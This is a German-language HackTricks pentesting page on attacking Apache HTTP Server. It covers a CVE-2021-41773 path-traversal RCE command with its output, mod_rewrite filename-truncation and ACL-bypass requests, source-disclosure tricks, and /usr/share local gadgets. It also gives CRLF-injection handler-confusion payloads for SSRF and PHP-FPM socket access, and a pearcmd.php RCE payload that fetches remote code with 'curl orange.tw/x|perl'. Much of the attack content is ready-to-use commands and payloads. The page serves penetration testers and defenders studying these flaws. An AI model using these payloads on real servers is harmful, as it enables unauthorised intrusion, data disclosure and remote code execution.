German - Ht
HackTricks Training Twitter Linkedin Sponsor

Apache

Unterstütze HackTricks

Ausführbare PHP-Erweiterungen

Überprüfe, welche Erweiterungen den Apache-Server ausführen. Um sie zu suchen, kannst du ausführen:

grep -R -B1 "httpd-php" /etc/apache2

Auch einige Orte, an denen Sie diese Konfiguration finden können, sind:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

Verwirrungsangriff

Diese Arten von Angriffen wurden von Orange in diesem Blogbeitrag eingeführt und dokumentiert, und das Folgende ist eine Zusammenfassung. Der "Verwirrungs"-Angriff missbraucht im Grunde, wie die Dutzenden von Modulen, die zusammenarbeiten, um einen Apache zu erstellen, nicht perfekt synchronisiert sind, und das Modifizieren unerwarteter Daten in einigen von ihnen kann eine Schwachstelle in einem späteren Modul verursachen.

Dateinamenverwirrung

Trunkierung

Das mod_rewrite wird den Inhalt von r->filename nach dem Zeichen ? kürzen (modules/mappers/mod_rewrite.c#L4141). Das ist nicht ganz falsch, da die meisten Module r->filename als URL behandeln. In anderen Fällen wird dies jedoch als Dateipfad behandelt, was ein Problem verursachen würde.

  • Pfadtrunkierung

Es ist möglich, mod_rewrite wie im folgenden Regelbeispiel zu missbrauchen, um auf andere Dateien im Dateisystem zuzugreifen, indem einfach der letzte Teil des erwarteten Pfades entfernt wird, indem man ein ? hinzufügt:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`

  • Irreführende RewriteFlag-Zuweisung

In der folgenden Rewrite-Regel wird jede URL, die mit .php endet, als php behandelt und ausgeführt. Daher ist es möglich, eine URL zu senden, die mit .php endet, nachdem das ?-Zeichen, während im Pfad ein anderer Dateityp (wie ein Bild) mit schädlichem php-Code geladen wird:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

Es ist möglich, auf Dateien zuzugreifen, auf die der Benutzer nicht zugreifen sollte, selbst wenn der Zugriff mit Konfigurationen wie: verweigert werden sollte.

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

Dies liegt daran, dass PHP-FPM standardmäßig URLs empfängt, die mit .php enden, wie http://server/admin.php%3Fooo.php, und da PHP-FPM alles nach dem Zeichen ? entfernt, ermöglicht die vorherige URL das Laden von /admin.php, selbst wenn die vorherige Regel dies verboten hat.

DocumentRoot Verwirrung

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Ein interessanter Fakt über Apache ist, dass die vorherige Umschreibung versucht, die Datei sowohl aus dem documentRoot als auch aus dem Root-Verzeichnis zuzugreifen. Eine Anfrage an https://server/abouth.html wird die Datei in /var/www/html/about.html und /about.html im Dateisystem überprüfen. Dies kann im Grunde genommen missbraucht werden, um auf Dateien im Dateisystem zuzugreifen.

Server-Seitige Quellcode-Offenlegung

  • Offenlegung des CGI-Quellcodes

Es reicht aus, ein %3F am Ende hinzuzufügen, um den Quellcode eines cgi-Moduls offenzulegen:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi

  • PHP-Quellcode offenlegen

Wenn ein Server verschiedene Domains hat, wobei eine davon eine statische Domain ist, kann dies ausgenutzt werden, um das Dateisystem zu durchlaufen und PHP-Code offenzulegen:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Manipulation lokaler Gadgets

Das Hauptproblem bei dem vorherigen Angriff ist, dass standardmäßig der Zugriff auf das Dateisystem in den meisten Fällen verweigert wird, wie in der Konfigurationsvorlage des Apache HTTP Servers:

<Directory />
AllowOverride None
Require all denied
</Directory>

Allerdings erlauben die Betriebssysteme Debian/Ubuntu standardmäßig /usr/share:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Daher wäre es möglich, Dateien, die sich im Verzeichnis /usr/share in diesen Distributionen befinden, auszunutzen.

Lokales Gadget zur Informationsoffenlegung

  • Apache HTTP Server mit websocketd könnte das dump-env.php-Skript unter /usr/share/doc/websocketd/examples/php/ exponieren, was sensible Umgebungsvariablen offenlegen kann.

  • Server mit Nginx oder Jetty könnten sensible Informationen von Webanwendungen (z.B. web.xml) über ihre standardmäßigen Webwurzeln, die unter /usr/share platziert sind, exponieren:

  • /usr/share/nginx/html/

  • /usr/share/jetty9/etc/

  • /usr/share/jetty9/webapps/

Lokales Gadget zu XSS

  • Auf Ubuntu Desktop mit LibreOffice installiert kann das Ausnutzen der Sprachumschaltfunktion der Hilfedateien zu Cross-Site Scripting (XSS) führen. Das Manipulieren der URL unter /usr/share/libreoffice/help/help.html kann zu bösartigen Seiten oder älteren Versionen über unsichere RewriteRule umleiten.

Lokales Gadget zu LFI

  • Wenn PHP oder bestimmte Front-End-Pakete wie JpGraph oder jQuery-jFeed installiert sind, können deren Dateien ausgenutzt werden, um sensible Dateien wie /etc/passwd zu lesen:

  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php

  • /usr/share/javascript/jquery-jfeed/proxy.php

  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Lokales Gadget zu SSRF

  • Durch die Nutzung von MagpieRSS's magpie_debug.php unter /usr/share/php/magpierss/scripts/magpie_debug.php kann eine SSRF-Schwachstelle leicht erstellt werden, die einen Zugang zu weiteren Exploits bietet.

Lokales Gadget zu RCE

  • Die Möglichkeiten für Remote Code Execution (RCE) sind vielfältig, mit anfälligen Installationen wie einer veralteten PHPUnit oder phpLiteAdmin. Diese können ausgenutzt werden, um beliebigen Code auszuführen, was das umfangreiche Potenzial der Manipulation lokaler Gadgets zeigt.

Jailbreak von lokalen Gadgets

Es ist auch möglich, aus den erlaubten Ordnern auszubrechen, indem man Symlinks folgt, die von installierter Software in diesen Ordnern generiert wurden, wie:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/

  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data

  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/

  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/

  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Darüber hinaus war es durch das Ausnutzen von Symlinks möglich, RCE in Redmine zu erlangen.

Handler-Verwirrung

Dieser Angriff nutzt die Überlappung in der Funktionalität zwischen den Direktiven AddHandler und AddType, die beide verwendet werden können, um PHP-Verarbeitung zu aktivieren. Ursprünglich betrafen diese Direktiven unterschiedliche Felder (r->handler und r->content_type jeweils) in der internen Struktur des Servers. Aufgrund von Legacy-Code behandelt Apache jedoch diese Direktiven unter bestimmten Bedingungen austauschbar, indem r->content_type in r->handler umgewandelt wird, wenn erstere gesetzt ist und letztere nicht.

Darüber hinaus, im Apache HTTP Server (server/config.c#L420), wenn r->handler vor der Ausführung von ap_run_handler() leer ist, verwendet der Server r->content_type als Handler, was effektiv AddType und AddHandler identisch in der Wirkung macht.

Handler überschreiben, um PHP-Quellcode offenzulegen

In diesem Vortrag wurde eine Schwachstelle präsentiert, bei der ein falsches Content-Length, das von einem Client gesendet wird, dazu führen kann, dass Apache fälschlicherweise den PHP-Quellcode zurückgibt. Dies geschah aufgrund eines Fehlerbehandlungsproblems mit ModSecurity und der Apache Portable Runtime (APR), bei dem eine doppelte Antwort dazu führt, dass r->content_type auf text/html überschrieben wird. Da ModSecurity Rückgabewerte nicht richtig behandelt, würde es den PHP-Code zurückgeben und nicht interpretieren.

Handler überschreiben, um XXXX

TODO: Orange hat diese Schwachstelle noch nicht offengelegt

Willkürliche Handler aufrufen

Wenn ein Angreifer in der Lage ist, den Content-Type-Header in einer Serverantwort zu kontrollieren, wird er in der Lage sein, willkürliche Modul-Handler aufzurufen. Allerdings wird zu dem Zeitpunkt, an dem der Angreifer dies kontrolliert, der Großteil des Anforderungsprozesses bereits abgeschlossen sein. Es ist jedoch möglich, den Anforderungsprozess durch das Ausnutzen des Location-Headers neu zu starten, da, wenn der rückgegebene Status 200 ist und der Location-Header mit einem / beginnt, die Antwort als serverseitige Umleitung behandelt wird und verarbeitet werden sollte.

Laut RFC 3875 (Spezifikation über CGI) definiert Abschnitt 6.2.2 ein Verhalten für lokale Umleitungsantworten:

Das CGI-Skript kann einen URI-Pfad und eine Abfragezeichenfolge (‘local-pathquery’) für eine lokale Ressource in einem Location-Headerfeld zurückgeben. Dies zeigt dem Server an, dass er die Anfrage unter Verwendung des angegebenen Pfades erneut verarbeiten soll.

Daher ist es notwendig, um diesen Angriff durchzuführen, eine der folgenden Schwachstellen zu haben:

  • CRLF-Injection in den CGI-Antwort-Headern

  • SSRF mit vollständiger Kontrolle über die Antwort-Header

Willkürlicher Handler zur Informationsoffenlegung

Zum Beispiel sollte /server-status nur lokal zugänglich sein:

<Location /server-status>
SetHandler server-status
Require local
</Location>

Es ist möglich, darauf zuzugreifen, indem der Content-Type auf server-status und der Location-Header mit / beginnt.

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Arbitrary Handler to Full SSRF

Umleitung zu mod_proxy, um auf jedes Protokoll unter jeder URL zuzugreifen:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

Allerdings wird der X-Forwarded-For-Header hinzugefügt, um den Zugriff auf Cloud-Metadatenendpunkte zu verhindern.

Willkürlicher Handler zum Zugriff auf lokale Unix-Domain-Sockets

Greifen Sie auf den lokalen Unix-Domain-Socket von PHP-FPM zu, um ein PHP-Backdoor auszuführen, das sich in /tmp/ befindet:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Willkürlicher Handler zu RCE

Das offizielle PHP Docker Image enthält PEAR (Pearcmd.php), ein Befehlszeilen-PHP-Paketverwaltungstool, das missbraucht werden kann, um RCE zu erlangen:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Überprüfen Sie Docker PHP LFI Zusammenfassung, geschrieben von Phith0n für die Details dieser Technik.

Referenzen

Unterstützen Sie HackTricks
PreviousAngularNextArtifactory Hacking guide

Last updated